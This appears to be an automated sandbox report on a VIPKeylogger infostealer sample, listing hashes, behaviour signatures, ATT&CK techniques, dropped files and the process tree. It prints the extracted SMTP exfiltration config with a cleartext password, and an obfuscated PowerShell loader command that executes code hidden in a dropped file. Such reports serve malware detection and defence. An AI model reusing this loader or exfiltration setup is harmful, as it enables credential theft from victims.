Analysis
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max time kernel
119s -
max time network
100s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
07-12-2024 05:27
General
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Target
48db01d4c24db50c1509fe5313929cda3adccf48b3436ef003bf65fc46a56e30N.exe
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Size
1.0MB
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MD5
a4272146962443a5d3795d2443268660
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SHA1
c4b0dea3202c5e7fcb6d97a099b71be43c141066
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SHA256
48db01d4c24db50c1509fe5313929cda3adccf48b3436ef003bf65fc46a56e30
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SHA512
f136c4e2d8d1b77ddc8cbe768c1a7d268bd9a415720b873c98aff2f3c7be441880dafc6b8897b9804891e055ccf1f2b522d762641a97f3811241f8d4d5caf0de
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SSDEEP
24576:Ij+E5UmQgGxoeTKDCAJvxADGSifhNwmNG3Ap137dboaPjyMi76Kbi:Y+HmWxKDCA9fQt3IRM+i76t
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
JA-*2020antonio - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\48db01d4c24db50c1509fe5313929cda3adccf48b3436ef003bf65fc46a56e30N.exe"C:\Users\Admin\AppData\Local\Temp\48db01d4c24db50c1509fe5313929cda3adccf48b3436ef003bf65fc46a56e30N.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Hollows=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\Polysulfonate\sangersken\Exposals.Kom196';$Cindersbanerne=$Hollows.SubString(58520,3);.$Cindersbanerne($Hollows)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Trense.exe"C:\Users\Admin\AppData\Local\Temp\Trense.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.0MB
MD5a4272146962443a5d3795d2443268660
SHA1c4b0dea3202c5e7fcb6d97a099b71be43c141066
SHA25648db01d4c24db50c1509fe5313929cda3adccf48b3436ef003bf65fc46a56e30
SHA512f136c4e2d8d1b77ddc8cbe768c1a7d268bd9a415720b873c98aff2f3c7be441880dafc6b8897b9804891e055ccf1f2b522d762641a97f3811241f8d4d5caf0de
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
66KB
MD5ff97d4b146a0a25a7d4a45aef84c1b21
SHA180c1f5c9c718527570082f12c8aafdb9057d3250
SHA2564fe0bada021f706a822f5d2854b42c382c60e8730003f04bc1ece22770f111a2
SHA512397cbd46aa10419ffcbadcde0ada5c5becfd915eb1b7b49591659f1613458e2b0614c0124f1296b214e41d85bd1359d2e714eceb71daa97f34d5ac5a988b1ad7
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Filesize
338KB
MD5376cf7ed3ab67b8a7818ad3ebdea6f82
SHA180d19f5ccb69087491a705ed309b2bf4da08f979
SHA256b6b9bb1dbefdb53592f244f4928f67791ae51c6033520a30e5329307cf9a38c0
SHA512738b7587517192b357acad446493b07e1c160c4e956e77dcc7fc7a6d9971896cd772011bb37d7be91321a2e2143750125009ac4930cd92d0dac36037ff0bdbd9
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Filesize
1.1MB
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Filesize
40KB
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Filesize
584KB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
18.3MB
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Filesize
288KB
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Filesize
1.1MB
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Filesize
4KB
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Filesize
7.7MB
-
Filesize
168KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
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Filesize
200KB
-
Filesize
304KB
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Filesize
120KB
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Filesize
7.7MB
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Filesize
652KB
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Filesize
304KB
-
Filesize
40KB
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Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
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Filesize
32KB
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Filesize
600KB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
70.0MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
120KB
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Filesize
3.3MB
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Filesize
408KB
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Filesize
408KB
-
Filesize
136KB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB